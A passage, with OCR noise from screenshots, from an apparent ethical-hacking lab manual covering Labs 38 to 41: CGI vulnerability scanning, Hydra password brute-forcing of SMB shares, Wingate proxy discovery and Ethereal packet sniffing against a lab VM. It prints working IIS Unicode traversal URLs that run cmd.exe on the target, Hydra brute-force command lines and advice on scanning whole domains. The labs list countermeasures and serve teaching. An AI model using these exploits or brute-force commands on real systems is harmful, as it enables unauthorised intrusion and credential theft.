	172.16.1.40/notexist.ioq 200 - Found 172.16.1.40/scripts/abracadabra.bat 403 - Forbidden.	
	172.16.1.40/null.htw 200 - Found!	
Internet	172.16.1.40/scripts/abracadabra.cmd 403 - Forbidden. 172.16.1.40/.uti_bin/.uti_adm/admin.dll 401 - Unavideorized	
Explorer	172.16.1.40/_vti_bin/_vti_aut/dvwssr.dll 500 - Eternal server error.	
<u>-</u>	172.16.1.40/_vti_bin/shtml.exe 200 - Found!	
見き	1/2.16.1.40/scripts/convert.bas 403 - Forbidden. 172.16.1.40/_vti_cnf 403 - Forbidden	
WinZip	172.16.1.40/_vti_inf.html 200 - Found	
	172.16.1.40/_vti_pvt/_vti_cnf 403 - Forbidden.	
	172.16.1.40/scripts/default.asp%20.pt 403 - Forbidden. 172.16.1.40/_vti_pvt/access.cnf 403 - Forbidden.	
	172.16.1.40/_vti_pvt/administrators.pwd 403 - Forbidden.	
LanSpy	Tsx: 517 :8888/cgi-bin/admin/admin Time: 00:28:59 Total holes: 517	
	· · · · · · · · · · · · · · · · · · ·	
BStart 171	Ci Download Ci Ci Download SCGI Scap m: Scapping 172.16.1.40	2:28 PM

To execute, right-click on a script and left-click on Copy String.

Open Internet Explorer and paste the line in the address bar. Press the **Enter** key. The directory listing of the target's C: drive will appear.

The line that should be in the address bar is:

http://172.16.1.40/scripts/..%c0%af../winnt/system32/ cmd.exe?/c+dir+c:\

Windows 2000	Professional -	VMware Workstal	on		_10/2
File Edit View	VM Team	Windows Help			
	0 0 0	10 101 23			
	GR 1591 (50)	10-1 858 858	02163		
h) Home 🔒 🗰	indows 2000 Pr	ofessional 🔠 🖻	d Hat Linux - 👔 Red Hat Linux 8 Server - 🔓 We	hdows 2000 Server	,
http://172.16.	.1.40/scripts/.	λ"/winnt/systen	32/cmd.exe?/c+dir+c;\ - Microsoft Internet Er	olorer	-1812
Ble Edit Vie	w Fgyorites	<u>T</u> ools <u>H</u> elp			100
da Back + mb	.0034	Search Gal	workes Artistory R. 26		
111					de Illus a
Agaress e http:	:ff172.16.1.40fs	cripts/s.cos.at/wi	nt/system32/cmd.exe?/c+dir+c:\	<u> </u>	Co Dues
Directory	of c:\				-
10/13/2002	05:508	<dir></dir>	ADF KOOT		
03/10/2005	10:020	(DIR)	Documents and Settings		
11/03/2005	07:390	COIRS	Down Loads		
02/10/2002	12:00p	<dir></dir>	Instaub		
01/06/2005	08:03p	<dir></dir>	1ab96		
10/21/2004	07:55p	2	.403 odbcconf.log		
10/13/2004	01:43p	<dir></dir>	Personal		
03/10/2005	02:08p	<dir></dir>	PHP		
11/02/2005	03:35p	<dir></dir>	Program Files		
10/21/2004	08:15p	<dir></dir>	ŧ.		
10/20/2004	12:47p	<dir></dir>	Tc1		
10/21/2004	08:13p	«DIR»	Windows		
10/20/2005	06:12p	<dir></dir>	WINNT		
	1 File	(5)	2,403 bytes		
	13 Dir (3] 1,457,93	4,336 bytes free		
	13 Dir(s) 1,457,93	4,336 bytes free		
Done				🔮 Interne	ot
BStart 31	# Call 51:	Cone-H.org * D	C.DownloadstC to Scanning 172.1	x//172.16_ J C C	C 2:36 PM
					P.D.B.W

From this point the entire hard drive can be viewed a directory at a time by editing the script in the address bar.

*Note: At this point an attacker may choose to see exactly what is installed on the target. He or she may check to see if the target has a firewall or antivirus installed, and whether there are any logs, proprietary software, sensitive documents, etc.

To list the contents of the Program Files directory, edit the address bar to http://172.16.1.40/_vti_bin/..%c0%af../.%c0%af../.%c0%af../.%c0%af../.%c0%af../.%c0%af../%c0%af

Windows 2000	Professional -	VMware Workstati	ion .	ولم
le Edit View	VM Team	Windows Help		
00 0 8	9 0 0	003		
	ndawa 3666 Br	dessioned from the	And Lines Des Destant and Design Designs - Destanting 2000 Cause	
Toole CB w	ndows 2000 Pr	oressional	a Het Linux - Mill Hed Het Linux o server - 10 vandows 2000 server	
http://172.16.	.1.40/_vti_bin/	••A ••/••A ••/••A ••/♥	vinnt/system32/cmd.exe?/c+dir+ci\progra~1 - Microsoft Inter	met Explorer 🚊 🛃
Ele Edit Vie	w Fgyorites	Iools Help		1
da Rack - alt	OBA	Baurh Git	ware distant R. 24	
4-040K +	. A R R	Aseach The	nores Queent 127. 2	1000 C
igdress @ 100	//172.16.1.40/ <u>_</u>	vei_bin/%c0%af/	%c0%afj%c0%afjwinnt/system32/cmd.exe7/c+dr+c:\progra~1	• 🖉 Go 🛛 Links
Directory	of c:\prog	ra-1		
11/02/2005	03:35p	<dir></dir>	•	
11/02/2005	03:35p	<dir></dir>	· · · · · · · · · · · · · · · · · · ·	
32/10/2002	05:548	<dir»< td=""><td>Accessories</td><td></td></dir»<>	Accessories	
32/10/2002	12:01p	<dir></dir>	Chaic	
01/02/2005	06:36p	<dir></dir>	Common Files	
2/10/2002	11:59a	<dir></dir>	ComPlus Applications	
1/02/2005	03:36p	<dir></dir>	Ethereal .	
05/27/2005	04:58p	<dir></dir>	Fluffy the SHTPGuardDog	
3/04/2005	09:59p	<dir></dir>	InCtr15	
02/10/2002	12:05p	<dir></dir>	Internet Explorer	
03/05/2005	12:00a	<d1r></d1r>	LBE Desktop Helpdesk	
03/04/2005	11:32p	<dir></dir>	LBE Web Helpdesk	
02/10/2002	05:57a	«DIR»	Nicrosoft FrontPage	
2/10/2002	05:58a	<dir></dir>	Microsoft Script Debugger	
3/09/2005	10:33p	<dir></dir>	Ny5QL	
10/26/2005	12:49p	<dir></dir>	Net Tools	
01/01/2005	08:55p	<dir></dir>	NetBus Pro	
2002/01/2002	12:05p	<dir></dir>	NetHeeting	
0/20/2004	12:50p	<dir></dir>	netw	
01/02/2005	06:19p	<dir></dir>	Network Stumbler	
32/10/2002	12:05p	<dir></dir>	Outlook Express	
2/10/2002	05;53a	<dir></dir>	Phone Book Service	
01/01/2005	08:33p	<dir></dir>	Spybot - Search & Destroy	
10/06/2004	09:03p	<dir></dir>	VNware	
10/21/2004	08:14p	«DIR»	Winarj 98	
Done	01101076			Dinternet
			, ,	

At this point an attacker may see if he or she has write access to the target. This is done by attempting to send a create directory command within the script: http://172.16.1.40/_vti_bin/..%c0%af../..%c0%af../..%c 0%af../winnt/system32/cmd.exe?/c+md+c:\beenhacked

🖥 Windows 2000 Professional – VMware Wo	rkstation
File Edit View VM Team Windows H	selp
- and a feat that out that seat	KR (U) ED
Windows 2000 Professional	👸 Red Het Linux 👔 Red Het Linux 8 Server 🧉 Windows 2000 Server
http://172.16.1.40/_vti_bin/A`/A`/	"A""/winnt/system32/cmd.exe?/c+dir+c:\progra~1 - Microsoft Internet Explorer []]
Ele Edit View Favorites Tools Help	22
Land is a D a land	Character Character 173 / 24
An people	TI WOULD DISCON 12- 3
Address http://172.16.1.40/_vti_bin/%c04	%af]%c0%af]%c0%afjwinnt/system32/cmd.exe7/c+md+c:\beenhacked 🛛 💽 🖗 Go 🛛 Links
Directory of c:\progra-1	
11/02/2005 03:35p <dir></dir>	•
11/02/2005 03:35p <dir></dir>	••
02/10/2002 05:54a <dir></dir>	Accessories
02/10/2002 12:01p <dir></dir>	Const
01/02/2005 06:36p <dir></dir>	Common Files
02/10/2002 11:59a <dir></dir>	ComPlus Applications
11/02/2005 03:36p <dir></dir>	Ethereal
05/27/2005 04:58p <dir></dir>	Fluffy the SHTPGuardDog
03/04/2005 09:59p <dir></dir>	InCtr15
02/10/2002 12:06p <dir></dir>	Internet Explorer
03/05/2005 12:00a <dir></dir>	LBE Desktop Helpdesk
03/04/2005 11:32p <dir></dir>	LBE Web Helpdesk
02/10/2002 05:57a <dir></dir>	Nicrosoft FrontPage
02/10/2002 05:50a <dir></dir>	Microsoft Script Debugger
03/09/2005 10:33p <dir></dir>	MySQL
10/26/2005 12:49p <dir></dir>	Net Tools
01/01/2005 08:55p <dir></dir>	NetBus Pro
02/10/2002 12:05p <dir></dir>	NetNeeting
10/20/2004 12:50p <dir></dir>	netw
01/02/2005 06:19p <dir></dir>	Network Stumbler
02/10/2002 12:05p <dir></dir>	Outlook Express
02/10/2002 05:53a <dir></dir>	Phone Book Service
01/01/2005 08:33p <dir></dir>	Spybot - Search & Destroy
10/06/2004 09:03p <dir></dir>	VNware
10/21/2004 08:14p <dir></dir>	Winnrj 98
] Done	Diternet
BStart 3 @ 🕄 6 Zone H.org * (🔄 C:(Downloads)C 🚽 Scanning 172.1 🖉 http://172.16 🔾 🖵 🖓 🗐 🚱 4:36 PM
	O.mmed

The following screen appears:



On the address bar enter the same script originally obtained from the TCS CGI Scanner:

http://172.16.1.40/scripts/..%c0%af../winnt/system32/ cmd.exe?/c+dir+c:\

le Edit View	VM Team	Windows Help	Reducted and Parameters					
	000	10 0 83		3				
Hone R W	indows 2000 Pr	ofessional	Red Het Lin	ur S. Red Het Linux 8 Server St. Windows 2000 Se	rver			
blto://172.16	1.40/scripts/	λ./winnt/syst	em32/cm	Lese?/c+dir+c\ - Microsoft Internet Faolorer				- 181
Ele Edt Us	Europhan	Tools Help	and the second second					
Out Fox Te	an rigidites	Toop Tob						
4+Back + ⇒	ි 🔘 🖸 🖓	Search G	Favorites	Calification 197- Ca				
address 😰 http	://172.16.1.40/s	cripts/%c0%af;	/winnt/syste	m32/cmd.exe?/c+dir+c:\		۲	@Go	Links
Directory	or civ							
02/10/2002	05:58a	<dir></dir>		ASFRoot				
11/09/2005	04:41p	<dir></dir>	1	beenhacked				
10/13/2004	01:43p	<dir></dir>		Databases				
33/10/2005	10:02a	<dir></dir>		Documents and Settings				
11/03/2005	07:39p	<dir></dir>		Downloads				
02/10/2002	12:00p	<dir></dir>		Inetpub				
01/06/2005	08:03p	<dir></dir>		lab96				
10/21/2004	07:55p		2,403	odbcconf.log				
10/13/2004	01:43p	<dir></dir>	- S - 3	Personal				
03/10/2005	02:08p	<dir></dir>	1	PHP				
11/02/2005	03:35p	<dir></dir>		Program Files				
10/21/2004	08:15p	<dir></dir>		L				
10/20/2004	12:47p	<dir></dir>		Tel				
10/21/2004	08:13p	<dir></dir>		Vindows				
10/20/2005	06:12p	<dir></dir>	manad	WINNT				
	1 File	:(3)	2,403	bytes				
	14 Dir ((8) 1,457,	868,800	bytes free				

Notice that the **beenhacked** directory is now created in the root of the C: drive on the target.

*Note: The results of these scripts tells an attacker that the computer has read/write access and as such can issue commands to the target as if the attacker were sitting behind the keyboard of the target. At this point, the attacker owns the target.

The gray bar along the top right of the application allows you to enter custom scripts for the application to check against the target. If you wanted to check the Program Files directory or create a beenhacked directory on each target it is capable of compromising, you could enter these scripts here and click the downward-pointing arrow to enter the script into the application. Repeat this process for multiple targets



Lab 39: Shared Resources Locator

Identify Open Shared Resources: Hydra

Prerequisites: Shared resources on the target

Countermeasures: Bastion servers/workstations, host-based firewalls

Description: The Hydra application will scan a range of IP addresses and identify any open shares from open port 139. Open shares are shares without passwords assigned to them, of which the majority allows anyone to copy, move, delete, and quite often add to the share. Not all shares are left unprotected and Hydra has the ability to brute-force its way into the share given a username and password list combination. Remember that Linux commands are *case sensitive*.

Procedure: Compile, install, and launch against the target with the following syntax:

./hydra <options> (Target IP or Hostname)

or

./xhydra (To start Hydra in X)

From the directory containing the compressed Hydra files type **tar –zxvf hydra-5.0-src.tar.gz**.

The files will uncompress into a new directory named **hydra-5.0-src**. Change to the new directory by typing **cd hydra-5.0-src** and pressing **Enter**. Hydra needs to be compiled for the specific machine it is on. This is done

by typing ./configure.

Hydra will compile to the specific machine. The next step is to create Hydra by typing the **make** command.



The **make** command will execute and attempt to create the xhydra for Linux X.

関 Red Hat Linux - YMware Workstation	_ [] ×
File Edit View VM Team Windows Help	
👝 Hone 👔 Windows 2000 Protessional 🔐 Red Hat Linux 👔 Red Hat Linux 0 Server 👔 Windows 2000 Server	×
root@localhost:~/tools/hydra/hydra 5.0 src	- 8 X
<u>Eile Edit View Terminal Go H</u> elp	
gcc -IWall -O2 -c hydra-svn.c -DLIBOPENSSL -I/usr/kerberos/include	-
gcc –I. –Wall –O2 –c hydra-pcanywhere.c –DLIBOPENSSL –I/usr/kerberos/include	
gcc -IWall -O2 -c hydra-sip.c -DLIBOPENSSL -I/usr/kerberos/include	
gcc -IWall -O2 -c crc32.c -DLIBOPENSSL -I/usr/kerberos/include	
gcc –I. –Wall –O2 –c d3des.c –DLIBOPENSSL –I/usr/kerberos/include	
gcc -IWall -O2 -c md4.c -DLIBOPENSSL -I/usr/kerberos/include	
gcc -IWall -O2 -c hydra-mod.c -DLIROPENSSL -I/usr/kerberos/include	
gcc -IWall -O2 -c hydra.c -DLIBOPENSSL -I/usr/kerberos/include	
gcc -IWall -O2 -lm -o hydra hydra-vnc.o hydra-pcnfs.o hydra-rexec.o hydra-nntp.o hydra-s	ocks5.
o hydra-telnet.o hydra-cisco.o hydra-http.o hydra-ftp.o hydra-imap.o hydra-pop3.o hydra-smb	.o hyd
ra-icq.o hydra-cisco-enable.o hydra-ldap.o hydra-mysql.o hydra-http-proxy.o hydra-smbnt.o h	ydra-m
ssql.o hydra-snmp.o hydra-cvs.o hydra-smtpauth.o hydra-sapr3.o hydra-ssh2.o hydra-teamspeak	.o hyd
ra-postgres.o hydra-rsh.o hydra-rlogin.o hydra-oracle-listener.o hydra-svn.o hydra-pcanywhe	re.o h
ydra-sip.o crc32.o d3des.o md4.o hydra-mod.o hydra.o -1m -1ss1 -1crypto -L/usr/1ib -L/usr/1	oca1/1
1b -L/11b -L/11b -L/11b	
If men could get pregnant, abortion would be a sacrament	
convora-gt so , make_xnyora.sn	4
irying to compile xnyara now (nyara gtk gul) - dont worry if this fails, this is really opt	ional
ing februites (
Src/Anyura ->/Anyura	
The GIK GDI IS Feady, type ./xhydra to start	
Now type make install	8
(reaction of the second	8
Freedom and a second	¥
	ed Nov 09
	7.52 PM
Q.	し調査

To start Hydra in X type:

./xhydra

Red Hat Linux - YMware Workstation	_IO ×
File Edit View VM Team Windows Help	
🚖 Home 😰 Windows 2000 Protessional 🗃 Red Hat Linux 👔 Red Hat Linux 8 Server 😰 Windows 2000 Server	×
🔽 root@localhost:-/tools/hydra/hydra 5.0 src	- 8 ×
<u>Eile E</u> dit <u>V</u> iew <u>T</u> erminal <u>Go</u> <u>H</u> elp	
gcc -IWall -O2 -c hydra-svn.c -DLIBOPENSSL -I/usr/kerberos/include	-
gcc -IWall -O2 -c hydra-pcanywhere.c -DLIBOPENSSL -I/usr/kerberos/include	
gcc -IWall -O2 -c hydra-sip.c -DLIBOPENSSL -I/usr/kerberos/include	
gcc -IWall -O2 -c crc32.c -DLIBOPENSSL -I/usr/kerberos/include	
gcc -IWall -O2 -c d3des.c -DLIBOPENSSL -I/usr/kerberos/include	
gcc -IWall -O2 -c md4.c -DLIBOPENSSL -I/usr/kerberos/include	
gcc -IWall -O2 -c hydra-mod.c -DLIBOPENSSL -I/usr/kerberos/include	
gcc -IWall -O2 -c hydra.c -DLIBOPENSSL -I/usr/kerberos/include	
gcc -IWall -O2 -lm -o hydra hydra-vnc.o hydra-pcnfs.o hydra-rexec.o hydra-nntp.o	hydra-socks5.
o hydra-telnet.o hydra-cisco.o hydra-http.o hydra-ftp.o hydra-imap.o hydra-pop3.o hy	dra-smb.o hyd
ra-icq.o hydra-cisco-enable.o hydra-ldap.o hydra-mysql.o hydra-http-proxy.o hydra-sm	bnt.o hydra-m
ssql.o hydra-snmp.o hydra-cvs.o hydra-smtpauth.o hydra-sapr3.o hydra-ssh2.o hydra-te	amspeak.o hyd
ra-postgres.o hydra-rsh.o hydra-rlogin.o hydra-oracle-listener.o hydra-svn.o hydra-p	canywhere.o h
ydra-sip.o crc32.o d3des.o md4.o hydra-mod.o hydra.o -lm -lssl -lcrypto -L/usr/lib -	L/usr/local/l
ib -L/lib -L/lib	
If men could get pregnant, abortion would be a sacrament	
cd hydra-gtk && ./make_xhydra.sh	
Trying to compile xhydra now (hydra gtk gui) - dont worry if this fails, this is rea	11y optional
'src/xhydra' -> '/xhydra'	
The GTK GUI is ready, type "./xhydra" to start	
Now type make install	8
[rooteincainest nyura-s.o-src]# ./xnyura	*
	Wed Nov 09 7:33 PM
	0.0 mail

Xhydra will start.

v root⊕localhost:-/tool	ls/hvdra/hvdra-5.0-src		- 5
File Edit View Teo	minal Go Help		
cc -IWall -02 -	♥ HydraGTK		1 🗙
gcc -IWall -02 -	2 Quit	7	
gcc -IWall -02 -	Target Passwords Tuning Specific	Start	
gcc -IWall -02 -	Target		
cc -IWall -02 -	C. S. W. S. L.		
cc -IWall -02 -	Single Target	127.0.0.1	
cc -IWall -02 -			
cc -IWall -O2 -	C Target List		nntp.o hydra-socks5
hydra-telnet.o hy	O Target List		p3.o hydra-smb.o hy
a-icq.o hydra-cisc			ydra-smbnt.o hydra-
sql.o hydra-snnp.o	Port	0 0	ydra-teamspeak.o hy
a-postgres.o hydra		Contraction of the second	hydra-pcanywhere.o
dra-sip.o crc32.o			r/lib -L/usr/local/
b -L/lib -L/lib -L	Protocol	cisco	
f men could get pr	Output Options		
d hydra-gtk && ./m	China ser	C Ballahara	
rving to compile x	L Use SSL	□ Be verbose	is really optional
src/xhydra' -> '			
he GTK GUI is read	Show Attempts	🗌 Debug	
ow type make insta			
root@localhost hvd	hydra 127.0.0.1 cisco -l yourname -p	vourpass -t 36	1
roororocarnost nyo	nydra 127.0.0.1 cisco 4 yourname -p	yourpass - 20	

Change the Single target to the new target.

Change the Port from Cisco to ${\bf 139}.$ (After all, we are looking for SMB Shares).

Select the Show Attempts and Be Verbose options.



Select the **Passwords** tab.

Change the *Username* to **Kermit**. (Labs 10 and 11 identified the real Administrator account as being renamed to Kermit.)

Change the password to either a specific password for the account or in this case to a password file. There are applications designed to create password files, but if you need to create one manually simply create a text file in the directory containing Hydra with passwords containing one password per line.

🔊 Red Hat Linux - VMwa	are Workstation		_ D ×
	3 G (3 G G G (5 G		
n Hone 👔 Windows	: 2000 Professional 🛛 👸 Red Hat Linux 👔 🗿	Red Hal Linux 8 Server 📲 🖓 Windows 2000 Server	×
root's Home	HydraGTK Quit Target Passwords Tuning Specific	Start	
Start Here	Username	kermit	
Trash	O Username List Password O Password		
Red Hat Linux- i386 8.0	Password List Colon seperated file	passwordlist1	
	Use Colon seperated file		
	Try login as password	Try empty password	
	hydra 172.16.1.40 smb -s 139 -v -V -l	kermit -P passwordlist1 -t 36	
600	\$888"		Wed Nov 09 8:01 PM

Click on the **Start** tab.



Click Start. The results will be displayed.



Hydra will attempt each password from the password file for the username given. If the correct password is in the file, Hydra will let you know. In this example, the password for the username kermit is **123**.

Now that you know what the username/password combination is, how do you connect to it?

The first step will be to create a directory that Linux can associate with the target's share by typing:

mkdir hacker



Next is to mount the shared directory on the target. In this example, I know the share name (Personal) from the LANguard application lab (Lab 30). Sdfds



Type in the username for the share.



Type in the password for the share.



Verify that the Linux machine can view the contents of the target's shared folder.



By looking at the shared directory on the target we can verify that the Linux machine is actually looking at the contents of the share on the target.

Hone 🔐 Windows 2000 Estart 👔 🍻 😂 📾	Professional 📲 🔐 Red Hal Lin				
🛾 Start 🔄 🍏 🍏 🖼		un 🚮 Red Hat Linux 8 Server	🛞 Windows 2000 Server		
	🚍 🕲 🛛 🏧 Command Promp	t C:\Personal		0¢	10:54 PM
C:\Personal					_ 6
File Edit View Favorite	s Tools Help				1
4- Dack • 🔁 🖏	Search 🔁 Folders 🎯 History	「喧喧×3回・			
Nddress 🗋 C:(Personal					- 20
1 4 7	Nome A	Size Type	Modified		
	Dinetpub	File Folder	11/9/2005 6:29 PM		
Descenal	lab96	File Folder	11/9/2005 6:29 PM		
cisonal					
elect an item to view its					
lescription.					
iee also:					
iee also: <u>fy Documents</u> hy Natural River					
iee also: <u>Ar Documents</u> A <u>r Network Places</u> Ar Computer					
iee also: ly Documents, ly Network Places ly Computer,					
iee also: hr Documents hr Network Places hr Computer					
ee also: <u>hr Documents;</u> hr Network Places; <u>hr Computer</u>					
ne alson I <u>tr Documents</u> In Haltwork Places In Computer					
ne obse: h: Documents h: Network Places h: Network Places h: Consolver					
ne obso: h: Documents, h: Network Places, h: Compositer					
ne olso: /: Documentis // Interventis Places /r: Consoliter.					
ne olso: h: Documentos h: Documentos h: Comesder.					
ee obee In Documentis In Decomposition In Decomposition In Semander					
ee elkou hr <u>Documentha</u> hr <u>Documentha</u> hr <u>Computer</u> .					
on obse de Locumentis In Hotocork Places In Scienceder					

When you look at xhydra, the bottom of the screen will display exactly what you would need to type if you choose to use the command-line version or if xhydra will not install on your version of Linux. In this case, you would type:

```
./hydra 172.16.1.40 smb -s 139 -v -V -l kermit -P passwordlist1 -t 36
```



The results from the command line are identical to the xhydra.

📓 Red Hat Linux - VMware Workstation	_ 🗆 ×
File Edit View VM Team Windows Help	
🚡 Home 🚓 Windows 2000 Professional 🔐 Red Hat Linux 👔 Red Hat Linux 8 Server 📳 Windows 2000 Server	×
✓ root@localhost:~/tools/hydra/hydra-5.0-src	_ = X
<u>Eile Edit View Terminal Go H</u> elp	
[root@localhost hydra-5.0-src]# ./hydra 172.16.1.40 smb -s 139 -v -V -l kermit -P password	list1 - 🔺
t 36	
[INFO] Reduced number of tasks to 1 (smb does not like parallel connections)	
Hydra v5.0 (c) 2005 by van Hauser / THC - use allowed only for legal purposes.	
[DATA] 1 tasks 1 servers 6 login tries (1:1/n:6) ~6 tries per task	
[DATA] attacking service smb on port 139	
[VERBOSE] Resolving addresses done	
[ATTEMPT] target 172.16.1.40 - login "kermit" - pass "a" - child 0 - 1 of 6	
[ATTEMPT] target 172.16.1.40 - login "kermit" - pass "ab" - child 0 - 2 of 6	- 11
[ATTEMPT] target 172.16.1.40 - login "kermit" - pass "abc" - child 0 - 3 of 6	- 11
[ATTEMPT] target 172.16.1.40 - login "kermit" - pass "1" - child 0 - 4 of 6	- 11
[AITEMPI] target 1/2.16.1.40 - login "kermit" - pass "12" - child 0 - 5 of 6	- 11
[ATTEMPT] target 172 16 1 40 - login "kermit" - page "123" - child 0 - 6 of 6	- 11
[139][smb] host: 172.16.1.40 login: kermit nassword: 123]	- 11
Hydra (http://www.thc.org) finished at 2005-11-09 20:04:16	- 11
[root@localhost hydra-5.0-src]#	- 11
	- 11
	- 11
	1
	×
	Wed Nov 09 8:04 PM

*Note: There are literally thousands of open shares existing on the Internet, and thousands of those are left unprotected unintentionally. One of the biggest reasons for this is that the owner is not educated in the area of security and is dependent upon his or her ISP or even the router "out-of-the-box" for their security needs.

Lab 40: Locate Wingate Proxy Servers

Locate Wingate Proxy Servers: WGateScan/ADM Gates

Prerequisites: Wingate Proxy Server target

- **Countermeasures:** Deny Wingate Proxy Servers, Bastion servers/ workstations
- **Description:** The Wingate Proxy Server application is designed to act as a proxy for users on a LAN. This proxy provides Network Address Translation (NAT), which is a level of security as the internal IP addresses are not routable on the Internet. Any traffic going to the Internet has the external IP address of the Wingate server. Remember that all Linux commands are *case sensitive*.

Because of this level of anonymity attackers look for vulnerable Wingate Proxy Servers from which to launch their attacks and on which to store their tools. One of the first items an attacker will perform once the Wingate server has been compromised is to turn off any logging to help cover his or her tracks. Remember: No Logs = No Evidence.

Procedure: Enter the target IP range, target information, and application options; then scan.

Open the WGateScan application.



Enter the target hostname or IP address. Enter the IP address range. Accept the default *Scan in port 23.* Select *Try to open the port only.* Click **Scan**.

🗐 Windows 2000 Professi	ional - VMware Workstation	_ 🗆 ×
File Edit View VM 1	Team Windows Help	
A Hone 🔠 Windows 2	2000 Professional 💼 Red Hat Linux 👔 Red Hat Linux 8 Server 🖺 Windows 2000 Server	×
My Documents		
_		
	wGateScan 4.0b for Win98 by Pixel / Edena ?!	
My Computer	Scanning results	
KE H	Hostname or IP : 172.16.1.40 Del.	
<u>9</u> 2	The above address will be scanned from the IP :	
My Network Places	172 16 1 40 to 172 16 1 40 port: 23	
4	C Open the port and try to receive the string: WinGate>	
Recycle Bin	C Open the port and try to send the string: WinNuke Rulezt	
	Try to open the port only Clear list Save list	
e	🖇 Scan 🕼 Options 🧔 About 📭 Quit Connect with mIRC	
Internet Explorer		
Re Re	esolved to : 172.16.1.40	
WinZip		
LanSpy		
Start C @ C		11:54 PM
	<u>, </u>	-

WGateScan will locate any Wingate servers within the IP range set.



In this example, one Wingate server was located at 172.16.1.40.

*Note: From this point, the attacker will attempt to compromise the security of the server by seeking specific exploits for Wingate servers. The newer versions of Wingate allow the server to use the Windows users for the Wingate server user list. What this means for the attacker is if the attacker has already compromised one account on the server, he or she can now log into the Wingate machine as that user.

To locate Wingate serves via ADM Gates:

- From the Linux directory containing the compressed ADM Gates file type **tar –zxvf ADMgates-v0.2.tgz**.
- The files will uncompress into a new directory named **ADMgates**.
- Change to the new directory by typing **cd ADMgates** and pressing **Enter**.
- Install ADM Gates by typing ./install.



The ADM Gates application will install.



In this example, ADM Gates is used to scan the entire .com domain by typing:

./ADMgates com

*Note: As you might imagine you could read this entire book a million times before a scan of the entire .com domain would complete; the reality is at a minimum your ISP would cut you off before completion because the government is picky about people scanning its computers and has no problem letting your ISP know about it when it occurs.



In the next example ADM Gates is used to scan a specific server (spiveytech.com).

*Note: The spiveytech.com domain has no Wingate server installed; this is to show the syntax of how to scan a specific machine.



*Note: Both the WGateScan and ADM Gate scanners are effective at locating Wingate servers. The noticeable difference is that the WGateScan is set to specific IP ranges whereas the ADM Gate scanner is capable of scanning an entire domain (.com, .edu, .net, etc.).

Chapter 5 Sniffing Traffic

Lab 41: Packet Capture — Sniffer

Exploit Data from Network Traffic: Ethereal

Prerequisites: WinPcap

Countermeasures: Encryption, various sniffer detector applications

Description: Ethereal is an excellent sniffer program that allows the capturing of network packets as they traverse the network to allow the user to look "inside" the packets themselves for information about the sender and/or receiver. Information that can be useful to an attacker includes the following:

- IP addresses
- Hostnames
- Routes
- Data (much data is sent in clear text; including File Transfer Protocol (FTP), Telnet, e-mails, etc.).
- Protocol information

By capturing packets on the network an attacker can better structure his or her attack or glean important information from the data collected. Please remember that all Linux commands are *case sensitive*.

- *Note: Ethereal will be referenced throughout the remainder of this book to verify the results of other labs. Learning how to read the internal workings of captured packets gives an attacker (or security professional) a keen advantage instead of just depending on logs for review. If an attacker can alter the data stream, the logs will represent the altered data.
 - **Procedure:** Install the Ethereal application from either the accompanying CD or after downloading it from **http://www.ethereal.com**. If you are installing Ethereal on a Windows computer, you will also need to install the **WinPcap** packet capture library (also available on the CD or the Ethereal Web site).

To Install Ethereal on a Red Hat Linux Computer:

- From the Linux directory containing the compressed Ethereal file, type tar –zxvf ethereal-0.10.13.tar.gz.
- The contents of the compressed file will be installed to a new directory named **ethereal-0.10-13**.
- Change to that directory by typing **cd ethereal-0.10.13** and press **Enter**.
- The contents must now be compiled to the specific machine it is on by typing ./configure.



The Ethereal code will now compile.

*Note: Be patient with this step. Depending on your computer this process can take 10 to 20 minutes.



The next step is to type the **make** command, which will create the Ethereal executable file.



The executable is now created.



Now that the Ethereal executable has been created, start the application by typing:

./ethereal

and pressing Enter.



The Ethereal application will now start.

*Note: Although it is not much to look at right now, this will quickly change. Also, if you have any problems in configuring or making the executable, please read the **README** and **INSTALL** files that come with the program. Many times the problem is simply that there are incorrect versions either mixed or installed on the computer.



To demonstrate the capabilities of Ethereal click Capture, then Options.



From the **Options** screen ensure that the correct interface is chosen, select **Enable network name resolution**, and then click **Start**.

Home in	Windows 2	1000 Pirotesti	ional (Bed	lat Linux	46- R	isi Het Linux & Server	
The V	thereal: C	apture Op	tions				- 0	x = 6
le Ca	pture						122	
**	address	ethu 172 16 1 4	e					0,0,0,
Elte II	ink-layer be	ader type	Ether	net *				Apply
	Canture n	ackets in r	romiscu	ous me	de			
	Limit oach	nacket to	68		hutes			
	W.c.	r paced in	100	161	oynea			
	Capture							
Ca	pture File(s)			e conc	Display Options		
FI	le:				Update list of packets in real time			
	Use multip	de files						
	Next file e	very 1	1	👘 megabyte(s) 📍			Automatic scroning in two capture	
	Next file e	very [÷ 11	sinute(s)	τ	Hide capture info dialog	
2	Ring buffe	r with)	÷ file	9 .)		Name Decelation	
	Stop caph	ire after 1		÷ 160	(5)		name resolution	
Sto	op Capture	-(*.)					C Enable MAC name resolution	
	after	0	4	packe	t(s)		I Enable network name resolution	
	after	1	4.10	mega	abyte(s)	*		*
	after	1	*	minu	re(s)	۲	Enable transport name resolution	
	R Help						M Cancel Bal Start	1

A Capture window will now appear identifying the protocols available for capture, the number of packets for each protocol captured, and the percentage of overall capture for each protocol.

Red Hat Linux - YMware Workstation	
File Edit View VM Team Windows Help	
a lines The Menters Stationshipped The Red Bill Lines The Declarations of Conservation Street	
A style Contrained School	2 2 2
Ethereal: Capture from eth Ethereal: Capture from eth	
Casting Parkets	
	् 🗉 👹
SCTP 0 0.0% Y de Evenession De Clear ut Annhy	
TCP 64 11 31.5%	
UDP 8 3.9%	
ICMP 0 0.0%	
ARP 131 64.5%	
OSPF 0 0.0%	
GRE 0 0.0%	
NetBIOS 0 0.0%	
IPX 0 0.0%	
VINES 0 0.0%	
Other 0 0.0%	
Running 00:01:38	
CØ Stop	
,	
eth0: «live capture in p = «capturing»	
	Tue Nov 01
	9:45 PM

In this example, I opened an Internet connection to Google and hit the refresh button a few times to generate some traffic.

I then initiated an FTP connection to another virtual machine and logged in normally.



I then clicked the **Stop** button.

*Note: Keep in mind that the traffic you see is connected to a network hub, and you will be able to see all traffic going through that hub to all other computers on that hub. If, however, the network link you are using is connected to a switch, you will only be able to see traffic specifically destined to/from your connection. There is a way to "sniff" traffic on a switch to show all traffic to specific or every computer on a switch, which will be covered in Chapter 9.

Red Hat Linu	k - VMware	Workstation													-11]2
File Edit View	v VM Ter	am Windows I	telp													
	00	G 10 0														
- Home 🗐	Windows 29	00 Protessional	B.Red H.	Linux	100	es Hall	mus 8 Ser	ver	is Win	d0w1	2000 Ser	VEC.				×
eth0: Capt	uring - Eth	ereal			-										- 6	. 3
